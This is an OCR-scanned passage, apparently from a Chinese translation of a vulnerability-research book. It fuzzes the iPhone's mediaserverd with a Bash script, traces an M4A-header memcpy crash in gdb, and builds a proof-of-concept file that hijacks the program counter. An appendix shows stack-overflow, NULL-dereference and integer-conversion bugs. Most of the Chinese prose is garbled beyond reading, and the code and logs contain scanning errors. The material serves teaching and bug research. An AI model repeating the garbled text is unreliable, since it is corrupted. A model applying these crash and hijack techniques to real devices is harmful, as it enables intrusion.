11 sleep 5

12 echo

13

14 origpid="ps -u mobile -o pid,command | grep /usr/sbin/mediaserverd | cut -c 0-5
15 echo [+] Original PID of /usr/sbin/mediaserverd: $origpid
16

17 currpid=%origpid

18 let cnt=0

19 let i=0

20

21 while [ $cnt -le 1000 ];

22 do
23 if [ $i -eq 10 ];
24 then
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25 echo -n "[+] Restarting mediaserverd.. "

26 killall mediaserverd

27 sleep 4

28 origpid="ps -u mobile -o pid,command | grep /usr/sbin/ -
mediaserverd | cut -c 0-5°

29 currpid=$origpid

30 sleep 10

31 echo "done”

32 echo [+] New mediaserverd PID: $origpid

33 i=0

34 fi

35 echo

36 Echﬂ [+]  + + P R PP+ P P

37 echo [+] Current file: http://$fuzzhost/file$cnt.maa

38 openURL http://$fuzzhost/file$cnt.mga

39 sleep 30

40 currpid="ps -u mobile -o pid,command | grep /usr/sbin/mediaserverd | —
cut -c 0-5°

41 echo [+] Current PID of /usr/sbin/mediaserverd: $currpid
42 if [ $currpid -ne $origpid ];

43 then

44 echo [+] POTENTIAL BUG FOUND! File: file$cnt.mda
45 openURL http://$fuzzhost/BUG_FOUND file$cnt.m4a
46 origpid=$currpid

47 sleep 5

48 fi

49 ((cnt++))

50 ((i++))

51 killall MobileSafari

52 done

53

54 killall MobileSafari

RA31E 5 8-3 A Bash AR XEETEMN .

a 5 37 BRI A B ) Web AR 552569 1P Hbdik .

Q % 975 10 F7HJS mediaserverd, 3 H RFEFAEEITHIFEBIAR Safari
HRRSEH, AlE— T HERE,

Q %6 14 7 EFIZF B35 nediaserverd FIBERR ID 2445 & origpid,

0 % 21 TR FEXTE N IR E AT E0ER .

Q %8 23 £ 34178 10 M A B E S —IK mediaserverd. X iPhone Y fuzzing
A RETRANIR, B METE mediaserverd £ N — A A RE HiEE

Q %5 38 7H openURL L EJ3 31 Web IR 4528 I 27 /9L FGI, [©

Q % 40 FTE FI S HSFH #HR mediaserverd B4 RIFHTE ID A28 & currpid,

Q % 42 fTHEARFHY mediaserverd ##2 ID (W55 1417 ) F4HIFIH AR
ID, ZbF— IR GIR, % mediaserverd BE|—MEIRIFER, X4
#HE IDEA—H, XPMERICFRFI LR (WE 417 ). XTHEA RS
Kk — GET K4 Web IR%5 2%, 4% BUG_FOUND ZFE£F 5 Fl 7
mediaserverd FRSHI 2 (ILEE 4517 )
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Q % 51 fTESRKIKEZEITZ G A YRR Safari L4,
"IN Z R, M CHREAE 0 R, AT 1000 NSEhiE R

Alarm.mér 853, EENIEHIB] Web RS2SR B %, SRIG7E iPhone 4T
audiofuzzer.sh 7, Hif FHL&H TAAAMBEMILYL, B KIEHL, RLNER
FHL, A Web iR552269151R] H i rb R BUR G A B ARG 42, AR
B 8-3 U5 1817, AR/ HRSEBIRIMIK, BN iPhone BRI FEM - {HIX
EHARK! BRT AFHESBEFIERZIN, RERKIA, REHHRH AR
IE R -

8.2 HHGmSOWTAFIA

EORIM AR Fr AL B e Fr A X B Z G, FRELTE Web AR 525891510 B &
8% BUG_FOUND & H .

linux$ grep BUG ivarflng!apachelfaccess.lng

192.168.99.103 .. “"GET /BUG_FOUND_file4qo.m4a HTTP/1.1" 404 277 "-" "Mozilla/5.0
(iPhone; U; CPU 1Phune 0S 2 2 1 1like Mac 0S X; en-us) AppleWebKit/525.18.1 (KHTML,
like Gecko) Version/3.1.1 Mobile/sH11 Safar1!525 20"

192.168.99.103 .. "GET /BUG_FOUND file4i.m4a HTTP/1.1" 404 276 "-" "Mozilla/s5.0
(iPhone; U; CPU iPhone 0S 2_2 1 like Mac 0S X; en- us} Appleﬂebkltfszs 18.1 (KHTML,
like Ge:ku} UErslnnfa 1.1 Mobile/5H11 Safarlf525 20"

192.168.99.103 .. "GET /BUG_FOUND_file42.m4a HTTP/1.1" 404 277 "-" "Mozilla/s.0
(iPhone; U; CPU 1Phune 05 2 2 1 like Mac 0S X; en- us) ﬂppleHebK1t!525 18.1 (KHTML,
like Geckn) Version/3.1.1 Mobile/sH11 Safarlfszs 20"

[-.]

m¥ R B HE XA, mediaserverd 7EiR & .
BE BN s - ¥,
B i A 1] S0 40, 41 FT 42 BB RS TR o iPhone (i ARM CPU. X — &
RATAaWEARER, RESTFH, HHEGNU ¥ §E BH Arm CF
wikas (MW B.4757 ) Bfn%| mediaserverd, F #o Intel ;L @IR & — #¥.

iphone# uname -a
Darwin localhost 9.4.1 Darwin Kernel Version 9.4.1: Mon Dec 8 20:59:30 PST 2008;

root :xnu-1228.7,37~4/RELEASE_ARM_S5L8900X iPhone1,1 arm M6BAP Darwin

iphone# id
uid=0(root) gid=0(wheel)

iphone# gdb -q

Jash gdb ZJ5, HLUAT 2153 mediaserverd #4774 ID,
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(gdb) shell ps -u mobile -0 pid | grep mediaserverd
27 ?? Ss 0:01.63 /usr/sbin/mediaserverd

RIFTERIASFHINE mediaserverd Z#EMI S, FHIEERASMMBIHE

(gdb) exec-file /usr/sbin/mediaserverd
Reading symbols for shared libraries ......... done

(gdb) attach 27
Attaching to program: ‘' /usr/sbin/mediaserverd’', process 27.

Reading symbols for shared libraries .........civeiiiirrinrnnrrnsnnncnnns done
0x3146baa4 in mach_msg_trap ()

HEE I FT mediaserverd ZHij, F follow-fork-mode #1245 FiAik SS IR ES F ik
B, MARGHE .

(gdb) set follow-fork-mode child

(gdb) continue
Continuing.

FIFFFHLERFEBIRR Safari, IS 40 KWXABISCH (file40.mda) Y
URL. Wik#%H0 i LAFER

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION FAILURE at address: 0x01302000
[Switching to process 27 thread 0xa10b]

0x314780ec in memmove ()

FATR A4 7E mediaserverd iX Vi [aj ik 0x01302000 4L B NTERT .

(gdb) x/1x 0x01302000
0x1302000: Cannot access memory at address 0x1302000

IR IR TR mediaserverd A KB SA B BB, KT
BT, RATENT MATHOFRR

(gdb) backtrace

#0 0x314780ec in memmove ()

#1 0x3493d5e0 in MP4AudioStream::ParseHeader ()
#2 0x00000072 in 22 ()

Cannot access memory at address 0x72

XA I RA R, Beiis2 At — A% ILAE (ox00000072 ), & LR
B E A, RALIT A4S $TE MP4AudioStream: : ParseHeader ) HUATHI B G —
F1E42 (WARMI#L ),
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(gdb) x/1i 0x3493d5e0 - 4
0x3493d5dc < IN14MP4AudioStreamiiParseHeaderER27AudioFileStreamContinuation+1652>:

bl 0x34997374 <dyld stub memcpy>

MP4AudioStream: :ParseHeader ) PUTHIR G — &6 4 VA memcpy(), —7&
EEFHT B, WA Z], XA bug Bn THRRZ P X 4 KRBT A FHE (L
A1 ),

KELETHASWE, ERR&. FULERGE, BRI FH M2
mediaserverd I, iX—{KIRTE MP4AudioStream: :ParseHeader ()& FH memcpy ()
HHESLT — 1 Wrat, DAL memepy () IS HL,

(gdb) break *o0x3493dsdc
Breakpoint 1 at 0x3493d5dc

(gdb) continue
Continuing.

HIEEBHIR Safari PFTH %5 A 40 FIRELRB ( filed0.mda ), fih %X 1B o

[Switching to process 27 thread 0x9cob]

Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()

memcpy () IS ECE H RETE ro s ( HIRZE X ), r1 &FF4% (HEHKX)
PIK r2 Ffessy (BHIZETED) b WAL DB R EF AR LEE,

(gdb) info registers r0 r1 r2

o 0x684a38 6834744
rl 0x115030 1134640
r2 oxifdo 8144

RBKEE T HFFeS ra FBEEEE, & memcpy ) MIREHERAEH PRI EN .

(gdb) x/40x $r1

0x115030: 0x00000000 oxd7e178c2 Oxe5e178c2 0x80bbo0o00
0x115040: 0x00b41000 0x00000100 0x00000001 0x00000000
0x115050: 0x00000000 0x00000100 0x00000000 0x00000000
0x115060: 0x00000000 0x00000100 0x00000000 0x00000000
0x115070: 0x00000000 0x00000040 0x00000000 0x00000000
0x115080: 0x00000000 0x00000000 0x00000000 0x00000000
0x115090: 0x02000000 0x2d130000 0x6b617274 0x5c000000
0x1150a0: 0x64686b74 0x07000000 Oxd7e178c2 Oxesel78c2
0x1150b0: 0x01000000 0x00000000 0x00b41000 0x00000000
0x1150c0: 0x00000000 0x00000000 0x00000001 0x00000100

RIGEESR S N 40 KT R B SCHF PR, FESCIFRIF KRB e,

RN/ NIRRT
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[..]

00000030h: 00 00 00 00 C2 78 E1 D7 €2 78 E1 E5 00 00 BB 80 ; ....AxdxAxda..»€
00000040h: 00 10 B4 00 00 01 00 00 01 00 00 00 00 00 00 00 ; «u vevusrosasons
00000050h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; svvvesoerrnasnes
00000060h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; weveeerrennnnses
00000070h: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 ; ....@......cv...

[..]

3 eT AT NFEE IR BEE . 42047 mediaserverd, 7ZEAiAZRH18
BTt

(gdb) continue
Continuing.

Program received signal EXC_BAD_ ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00685000
0x314780ec in memmove ()

mediaserverd 7E iR Bl Vi[RI R BLST N AR BRIt o B b LI RAZ 45 memcpy ()
FIFTHSERKT, FixXA R B0 & Hl 03 BOCHEEE L TR, X
B 3R AE T R 2%, S o W ge 8 2% 4T T 5 BOE B e AR A I K A ] SCAF
( file40.m4a ).

00000000h: 00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00 ; ... ftypM4A ....
00000010h: 4D 34 41 20 6D 70 34 32 69 73 6F 6D 00 00 00 00 ; M4A mp42isom....
00000020h: 00 00 1C 65 6D 6F 6F 76 FF 00 00 6C 6D 76 68 64 ; ...emoovy..lmvhd

[-.]

TESCH WAL 40 (ox28 ) AbFT AR BV Bl I F BT AR FTT (oxff ). B
T T “QuickTime I =#17E ( QuiteTime File Format Specification ) """, i
E T XAHFEM P IRANFH RVER . RBATERHE, 3% —Fh movie header atom,
EFTREINA—ERSr, FrER R — 2 %A T X atom B K/IME,
MR ZATUER, 1545 memcpy () (B KK, mediaserverd ZEiXEE HiliX 4 ZH
B EATRAME T o b TR, FRIT atom BIR/MEI—NEUNME, FHE
SCIHIRFS 40 A0ARN BBt RfE M [E] oxoo, RS 42 AbHME L E] oxo2,

T RER GRS 40 WK HBI S ( file40.mda ),

00000020h: 00 00 1C 65 6D 6F 6F 76 FF 00 00 6C 6D 76 68 64 ; ...emoovy..lmvhd

i LA R R WL A6 S (file40 2.mda ), FRIZARRBSIHE.

00000020h: 00 00 1C 65 6D 6F 6F 76 00 00 02 6C 6D 76 68 64 ; ...emoovy..lmvhd
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BRI, P B AR, I AR AR M N2 mediaserverd |-, MFE IR Safari
T AN S

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN PROTECTION FAILURE at address: 0x00000072
[Switching to process 27 thread oxaiob]

0x00000072 in ?? ()

X — RIS (#4165 ) BEBCNTEm#bE ox00000072, FAE T
£, HR— 1 H<is, FIKFE MpsAudioStream: : ParseHeader ()1 i memcpy()
AT IR E— TR .

(gdb) break *0x3493d5dc
Breakpoint 1 at 0x3493d5dc

(gdb) continue
Continuing.

FER SR Safari FPFTH 3N 5 RO R B304 file40_2.mda B, PRIl i LA
TH%.

[Switching to process 71 thread 0x9f07]

Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()

FTEQ =10 B AR

(gdb) backtrace

#0 0x3493d5dc in MP4AudioStream: :ParseHeader ()

#1 0x3490d748 in AudioFileStreamWrapper::ParseBytes ()

#2 0x3490cfa8 in AudioFileStreamParseBytes ()

#3 0x345dad70 in PushBytesThroughParser ()

#4 o0x345dbd3c in FigAudioFileStreamFormatReaderCreateFromStream ()
#5 0x345dffo8 in instantiateFormatReader ()

#6 0x345e02c4 in FigFormatReaderCreateForStream ()

#7 0x345d293c in itemfig assureBasicsReadyForInspectionInternal ()
#8 0x345d945c¢ in itemfig makeReadyForInspectionThread ()

#9 0x3146178c in pthread body ()

#10 0x00000000 in ?? ()

PEFE - ERERY. RANT &4 E/R MpsAudioStream::
ParseHeader () B 4 ATAR WIS B .

(gdb) info frame 0
Stack frame at 0x1301c00:
pc = 0x3493d5dc in MP4AudioStream: :ParseHeader (AudioFileStreamContinuationd); saved

pc 0x3490d748
called by frame at 0x1301c30
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Arglist at o0x1301bf8, args:

Locals at 0x1301bf8, Saved registers:

r4 at ox1301bec, r5 at ox1301bfo, r6 at ox1301bf4, r7 at ox1301bf8, r8 at -
0x1301be0, sl at Ox1301be4, fp at Ox1301be8, lr at 0x1301bfc, pc at Ox1301bfc,

$16 at Ox1301ba0, s17 at 0x1301ba4, s18 at 0x1301ba8, s19 at Ox130ibac, s20 at -
0x1301bb0, s21 at 0x1301bb4, s22 at 0x1301bb8, s23 at oxi1301bbc,

s24 at 0x1301bc0O, s25 at Ox1301bc4, s26 at 0x1301bc8, s27 at 0x1301bcc, s28 at -
0x1301bd0, s29 at 0x1301bd4, s30 at O0x1301bd8, s31 at 0x1301bdc

BRABNGEEEERFITEEE (pc 3% MERFER MG E., WS
BTN, pc RAFZERR Bt & ox1301bfc M5 (IR Saved registers),
RIGBEPITIZHARE

(gdb) continue
Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000072
0x00000072 in 2? ()

HiTR)G, FREF MP4AudioStream: :ParseHeader () Z R fRAFFEF i8R AR L
B (NfrHuat oxa3o1bfe ), PREAEE MiX B IR EIRFiTEER .

(gdb) x/12x o0x1301bfc

0x1301bfc: 0x00000073 0x00000000 0x04000001 0x0400002d
0x1301c0cC: 0x00000000 0x73747328 0x00000063 0x00000000
0x1301cic: 0x00000002 0x00000001 0x00000017 0x00000001

va AR B0 H BR PR AF B FE 2 6 EH 8 8UE ox00000073 S . REGAEEEIR
[Bl44 B C WA A REE, X MRS HERS 7184165 (pc FFFEF ). BRK
UiElE, BT ARM CPU TS X (F84-4% 16 gk 32 i X157 ) P, B
HIBFE A FEET AR 0x00000072, THARIC4EH Y 000000073

XA L AT B A B IR FE A SE M iPhone (ISR R & B T — A S 7Y AR
ZmXuy ., REW KA CHERRALSFHEOFETRX, EXH
file40 2.mda RN 500 TR T X NFH T,

000001foh: 18 73 74 74 73 00 00 00 00 00 00 00 01 00 00 04 ; .stts...........
00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -..u.... (stsc...
00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; .uvvssveassnnans

RIG R _FE T LR AL BEBCH 0xa4444444, Fi X448 poc.mda,

000001f0h: 18 73 74 74 44 44 44 44 00 00 00 00 01 00 00 04 ; .sttDDDD.........
00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -.vveuuss (stsc...
00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; ..evvevrnnvnnnns




142 | #£8&E HTKEF

B AR 2LMNZ] mediaserverd -, 7EF EhAR afari 'fPEFIB?%?jC{-# poc.mda,
et (U

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID ADDRESS at address

[Switching to process 77 thread oOxa20f]
0x44444444 in ?? ()

(gdb) info registers

0x44444444

10 0x6474613F 1685348671
rl 0x393fc284 960479876
Y2 Oxcbo 3248

r3 0x10b 267

4 0x6901102 110104834
5 0x1808080 25198720
6 0x2 2

17 0x74747318 1953788696
I8 0xf40100 15991040
19 0x817a00 8485376

sl 0xf40100 15991040
fp 0x80808005 -2139062267
ip 0x20044 131140

sp 0x684c00 6835200

1r ox1f310 127760

pc 0x44444444 1145324612
cpsr {0x60000010, n = Ox0, z = Ox1, ¢ = Ox1, v = Ox0, q = Ox0, j = Ox0, ge

0x10}  {0Ox60000010, n
0, i=0, f=0, t=0,

= Ox0, e = Ox0, a = Ox0, 1 = Ox0, f = Ox0, t = Ox0, mode
=0,2=1,¢c=1,v=0,q=0, j=0,ge=0,e=0, a
mode = usr}

(gdb) backtrace

#O 0x44444444 in 27? ()
Cannot access memory at address 0x74747318

HR! X, eefm MR RE.

8.3 miAfEIE
woF:28:8, Eym

2009 4F 10 A 4 HIRILXA bug #AZHIFRAF . SRMWNEM T F AR
iPhone 0S, 1&iE T iX—{EiH.

X~ bug IBEZ R, HHRBERARM
—HEERAN, BLFEERER TERAF,
(ERAFBCEAEZRIAXNTIEHA EHEB
bug.

YRR W e E R
iPhone OS 3.1.3 Z W WE & &
iPhone #g iPod touch.



85 #%x | 143

8.4 LI

YE—4 82 B A F1—4% iPhone i .
O B B5H AR TESEERILARY, A EHAmx1, LEBRA

B
Q BB iPhone BAVAZBR, {B{E1S;
O AZEFE/RK iPhone EFTFF “AAIE" B9 (K ) 304,

8.5 #h%
2wo'f28:8., Em

WiRE 285, $if# iPhone OS BRI LIRS, FTUREHS N XA
T—H AN E 2R ES, X4 bug 4RS & CVE-2010-0036, & 8-3 85 T ik

{lr AL B Bt (] 3%

FR0alwlRA

KEFYRRE
\.’. B \_,
10.04.2009 10.15.2009 02.02.2010

A 8-3 Ml IR FlX — iR B3 & a2 it i B a) 3=

BiE

[1] I http://en.wikipedia.org/wiki/IOS jailbreaking ( %241k % http://bit.ly/wgPs6f ),

[2] W http:/cydia.saurik.com/ ( 424k http:/bit.ly/A7ppwQ )o

[3] X.“i0S Developer Library: Core Audio Overview” , M1k ; http://developer.apple.com/library/ios/
#documentation/Music Audio/Conceptual/Core AudioOverview/Introduction/Introduction.html
( 5244 http://bit.ly/w7ADUS ),

[4] W “i0S Developer Library: Audio Toolbox Framework Reference”, Wiiit: http://developer.
apple.conmv/library/ios/#documentation/MusicAudio/Reference/CA AudioTooboxRef/_index.html

( EhE A http://bit.ly/wpmceb9 ),
[5] J http://en.wikipedia.org/wiki/Advanced Audio Coding ( 41k http://bit.ly/wQUPPR ).
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[6] UL http://ericasadun.com/ftp/EricaUtilities/ ( %24k A http://bit.ly/xe8ioz ).

[7] QuickTime SCAFHEXFLTERT MELF Mut43 5] http:/developer.apple.com/mac/library/docum-
entation/Quick Time/QTFF/QTFFPreface/qtffPreface.html ( 44k 4 http://bit.ly/xNdk8k ),

[8] FiIFAMMARIXT iPhone Rl ()2 23R 45 AT MLLUF M 41EF83) : http://www.trapkit.de/advisories/
TKADV2010-002.txt ( %4k~ http://bit.ly/xLFFRn ),



e HIET

FHIESC, Bt A BRI AT IS — SRR RS . IR A B AR FI—Lem]
AE 2 bug A9 4 7],

Al FRLRiH Xt

kX s R A TESURIRR, LM R (SE P~ 4 RE, generation) 4}
S, HATREEMRAS P Kk AR Kok, A1 BB X
R K R T ENTFREAANAY, O RAR S , MRXARR, BAEY,
FREB I Bt R A RN ORRIR o BRI A — HRASBR IR, FIRAERL S 6
S M S MORR AR . IR A Z MRS
B4R F A AR |t ok X B AR A4 L% F R0 B
Wi, SEORATREEES. Frasms OEETRET 2 oa v
HMCERR G, TR AR EE, N D
TS L 5 0 4 BT o

HERIITHE RS R TR |, BSUHE(S B ARz R . %
WA A MR RS D R SR FITT R, LR A6 i, FEIE B
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M. 4— 1 RECREIEMFEAER, RFEHAEHERFE AR SHBE (BF
) FFAE. WRIREEME —MREMXEH , R EEEER PR, A4
TE R EOR [ R B REFE il 48 S T8 5

BAREHMIT TR AIRE P X i, BlaniReE R st . RS,
B AR _E A E R AL

BRATE—RBFEB,

R0 E R A1 FREFFSEMH| stackoverflow.c

01 #include <string.h>

02

03 void

04 overflow (char *arg)
05 {

06 char buf[12];

07

08 strcpy (buf, arg);

09 }

10

11 int

12 main (int argc, char *argv[])
13 {

14 if (argc > 1)

15 overflow (argv[1]);
16

17 return 0;

18 }

RIDE R A-1 B EHITE AR RRRE X . B3 H
(%5 1547 ) HHAVEREL overflow() HIZS%L, 7 overflow()H, A AMNEHEHE
B 12 FHRKROBREFX S (5 617M% 847), MERNMANSIBKE
BT XMNEWNX TR RS (12 FY), REMXRSUH, HAPARE
AR IEE

B A-1 2 TR EZE WX EHBRTENAAR. RERT (mfkthtZsE ) #
K, Eekiat (RET) GRBEMNRTS —JoTHEE, AR AG M4 (SFP,
Saved Frame Pointer ), FfE F/ZpE%L overflow() A B MIX , FIARHI ] T 1%
KA—F, BB X BB RA R M RS E, MRAE - 1TGS1ITSH
REEBZHBE, RIOVOBERSERE WX . SFP, RET FIAHMBHARNAE.
BRECR [EIET, ATMEEE S RET M, HmEHlHESmEr (EIP FFER )
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5l Al od - T o] 2
—.—.__——.___.-—l-"'_"‘-h ___.___,..-—-'-'_-'-'
B & iE @ itk N EIP 14,
~ RET RET -7
SFP SFP
Eﬁgmiﬁﬁ
overtlow() & ¥£ # b
buf buf "N\ B P b owNRE
ﬁmm?@i
..________,_,-"—‘-_.— --._____.—-"",‘-—-—

P A-1 Pl i i BRI R

A.1.1 Tf: Linux TROMREHXEEH

AT 7E Linux ( Ubuntu 9.04 ) FTIHALLIE R A-1 BEFF, RiFATIREEA T3
AR (canary &8 ) (R C.17 ),

linux$ gcc -fno-stack-protector -o stackoverflow stackoverflow.c

KRG, EEESFEITX T (XF gdb WELZERW B4 77), #4t 20
FHHMAEAGSTESE (12 FWETARSE WX, 4 F45 8% SFP, 4 F1HE %5
RET ),

Iinux$ gdb -q ./stackoverflow

(gdb) run $(perl -e 'print "A"x12 . "B"x4 . "C"x4')

Starting program: /home/tk/BHD/stackoverflow $(perl -e 'print "A"x12 . "B"x4 .
hcllxdl }

Program received signal SICGSEGV, Segmentation fault.
0x43434343 in ?? ()

(gdb) info registers

eax oxbfabofac -1079271508
ecx oxbfabgfab -1079271509
edx 0x15 21

ebx 0xbB088Tf T4 ~1207398412
esp oxbfabgfco oxbfabafco
ebp 0x42424242 0x42424242
esi 0x8048430 134513712
edi 0x8048310 134513424
eip 0x43434343 0x43434343

eflags 0x10246 [ PF ZF IF RF ]
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cs ox73 115
55 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

TG T X5 S5 EFEEE] (A e1p FFAFEY ), AR Bt 8 B S Riy
SITEIAR A NFHRF ¢ (44 CHRMER N3 2R 2 0x43434343 ),

A1.2 =fl: Windows T BI#4%E P X i

7 Windows Vista SP2 T X#/GS 4ri¥ik W ( %4 cookie ), ZiF(CIDIEEE A-1
MR (L C.145 ).

C:\Users\tk\BHD>cl /nologo /GS- stackoverflow.c
5tackouerf1uq.c

SRIGTE VIR 28 BEfTiX MR (6T WinDbg W Z(5E W B2 ), &M
ITHI A S Z 8 Linux F iR —EE R EHE .

A A-2 BfR, 58 M Linux FR—RE, RIS TXTE4SF84 A9FEH (W EIP
LS o

WiNicrosott (F) Vindovs Debugger Version 6 10,0003 233 X8
MCopvright (c) Nicrosoft Corporation. All rights ressrved

i _ommendline: © Usersstpk BHD stackoverflov exs ARRAAAARAAAABHBECCOC
HSymbol ssarch path 1z #es Invalid ses
LR R I R R RN R R R R R R R R R R R R R R R R R R R Y
yabol load.ng may be unreliable without a syabol search path -
ga symiix toc have the debugger choose s synbol path -
fter sstting your symbol path, use reload to refresh synbol locations, #
FENEEEFF I I RSN S FFN I AN NN RN SN RN I NN IS F AN FE A RN PR RN RN
table search path is
i Modload: 00400000 0040000 1nageldid 00000
fModload: 77a30000 77bb7000 ntdll dll
(iodload . 77150000 7722000 CosWindows systend? kernel32 dil
q(f60,.1324) Ereak instruction exception — cods 80000003 {(first chance)
sax=00000000 ebx=00000000 =cE=0012tafl =dex=77af5ali esieffifffife adi=?7adc]l9e
Heip=77adbble esp=0012i610 sbp=0012£b40 10pl=0 v up =1 pl zr na ps no
ce=001b =s=0023 ds=0023 es=0023 Is==003b gs=0000 ef l=00000246
g=es ERROR: Synbol file could sot be found [efanlted to export symbols for atdll dll -
ntdll | DbgBreakPoint
i77adbb2e co int 3
0000 g
M (f60,13d4): Access violation - code cOD0OO0S (first chance)
First chance exceptiocns are reported before any exception handling
This exceptics may be sxpacted and handled
eax=0012f 20 sbx=7719b68f mcx=(00971a% odx*abliidI4] asi=00000002 edi=00001772
Meip*d 3434343 esp00121f3d mbp=42424242 10pl=0 nv up =1 pl nz ac po nc
ljcs=001b ==s=0023 ds=0023 es=0022 {s5=003b g==0000 efl=00010212
43434343 77 7?7

LAl Cald  Sysi<loceis ProcDO0SB0 ThrdDOOFIZEE  Sias 0

A A-2 Windows FRURRE rhIXREH ( WinDbg A% )
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At REXMEXGEHAEEN R, X TFXMGEEREZBEMEE B, W
RETHESL, BHEF JonErickson ) ( BEZIE: WiALHEBZEAR), sETLL
i A buffer overflows, 7E Google FiE B EL 5 B hiEE,

A2 ZiE3#E3|IA

NABRIS T (page ). EH#HEE . ABEMAEAEEET AN, EH
BA2R—IHBERET, Br T HTHREFRRTIHTIAFNSREMt 4,

KR A2 [FRKRDEHF N st | 65

01 #include ¢stdio.h>

02

03 typedef struct pkt {

04 char * value;

05 } pkt_t;

06

07 int

08 main (void)

09 {

10 pkt_t * packet = NULL;
11

12 printf (“%s", packet->value);
13

14 return 0;

15 }

fCRDTE B A2 950 1047, G5H484H & packet FIERILA NULL, 2B 12175 H
T packet BIR R AE B AR packet 25 1REF NULL, X5 AT /R A NULL->value,
B AEEZREFERANGFHN S — TR Z 84 # 35 A ( NULL pointer
dereference ), ISR #E Microsoft Windows F#iiFiX/MRF, IF7E Windows 1HiX2%
WinDbg Fizf7E (W B2791), dAFEM TSR,

[..]

(1334.12dc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=7713b68f ecx=00000001 edx=77c55e74 esi=00000002 edi=00001772
eip=0040100e esp=0012ff34 ebp=0012ff38 iopl=0 nv up ei pl zr na pe nc
cs=001b s55=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010246
*** WARNING: Unable to verify checksum for image00400000

*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x100e:

0040100e 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=222222??

[..!
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X AEEV A ( access violation ) & H T5| A T{H A 0x00000000 B EAX FF T8 o
[ AR S lanalyze - v AJIBEBEELZSEHBRAGBEE.,

0:000> !analyze -v

[..]

FAULTING IP:

image00400000+100e

0040100e 8b08 mov ecx,dword ptr [eax]

EXCEPTION RECORD: Ffffffff -- (.exr oxfffffffffffiffff)
ExceptionAddress: 0040100e (image00400000+0x0000100¢e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
Attempt to read from address 00000000

[..]

ZIEHE| A& SEARAMHEGRTE (SRS ). =5 A
S EHALEEIIT (arbitrary code execution ), HEAKBI BB IR M E -

A3 CiEE BRI

CIEEXARBIREAAR AN RIE, 2FPRE, 7 CEFF, £—-1F
FHAHBR N AN SBRERESNSE, C BETAMMRENER. BXX
AERME X LR, R CXFEANREESTT, BRI M TS E N
AR BRI RIR R A, XS N IA R B AP R B ARIT R EPITH
BAEAHTERIER T . RERBHELEF RN coercion,

BRI, WIRH casting, KAETERF R APMERBRMABN, @FH
KRG BIERATLR

T PR — R R B BT

[..]
unsigned int user_input = 0x80000000;

signed int  length = user input;
(..]

XABIFH, EEFSBEANANSBRZELEE T —KREEREEL,
B — B RRBIFEHRAB T
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[-.]

char cbuf[] = "AAAA";
signed int si = *(int *)cbuf;
[-.]

XANFFH, EFHEMANTSRBREZERE T —REAREHEH,
REHBERRER, FRIRAT2MRE bug, REMERIFHA KXW
RALFSBANAGNSERZANEEFEN, FEE—1FT,

RIGEE A-3 FARSER/ LA SRR FH— A (implicit.c)

01 #include <stdio.h>

02

03 unsigned int

04 get user_length (void)

05 {

06 return (oxffffffff);

07 }

08

09 int

10 main (void)

11 {

12 signed int length = 0;

13

14 length = get_user_length ();

15

16 printf ("length: %d %u (0x¥%x)\n", length, length, length);
17

18 if (length < 12)

19 printf ("argument length ok\n");

20 else

21 printf ("Error: argument length too long\n");
22

23 return 0;

24 }

RIGE A A3 RARBPE - MA BRI S BRI B KR TR,
FIR7E FFmpeg FHRBAITEHBR (W 4E ), IRAER HIRE?

14 47, BARPSARKEE, $HRFAE-ITERASEBALZR length
1, PR get_user_length()B—RER¥L, SER[El “HFPRAE" oxffffffff,
AL R F2 DA R £ B 3 B SUE R B B AME . 58 1817, BIF i I R AERY
KEERE/NTF 12, WRNT 12, FFE S E/RTFAE argument length ok
B A7AE B length BIMRE R oxfFFFFFEf, X/MEIR AT 12, RAEBXNFRBAS
BRERE L, AT, BAEE B Windows Vista SP2 FHIFHETXIEFEL
EHEA 4
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C:\Users\tk\BHD>cl /nologo implicit.c

implicit.c

C:\Users\tk\BHD>implicit.exe

length: -1 4294967295 (Oxffffffff)

argument length ok

IERMEHESRPERN, B 197RBEITE T, AHASXRE?

32 [iblES, ERASEANTEER 0 ] 4294967295, B S HAKNTEREE
—2147483648 F| 2147483647, AT FBEUE oxfFFfffff (4294967295 ) 2t
FAE 1111 1111 1111 1111 1111 1111 1111 1111 ( WL A-3 ), GnSRAEX MBI
BBANAETSEAE, REMNFSHAERL, TRAEMFSERN-1, — T80
BHHEATERN, B HRHA L (MSB, Most Significant Bit ) #&7~, MSB

2 0 EHERIER, N 1 REER A%

MSB

=ty AR
1
FF | FF | FF | FF -g..[*j_.ili 1111 1111 1111 1111 1111 1111 1111 |—3 -1
TF FF FF FF i ¢1121 113112 1311 12111 1111 11311 1111 1111 —_— +214T7T485647
A

HWMEZ, TASBAEENERFSBEANSMIFEERE, HEEZRH
BUSK RIS FE , 0x80000000 3| oxFFFFffff ZRIIM LA B8R i hH A S B

|

MsB

JREREAE R ( WA A-4 ),

& A-3 MSB #4EH

ey CREICR -
oo | co | oo | oo |> o — o
7F | FF | FF | FF |» 2147483647 > +21474835647
BO | OO | OO | OO0 b 21474835648 e -2147483648
FF | FF | FF | FF |> 4294967295 > -1
B A-4 BECKHHEK, NEFSBUIHHFSERY
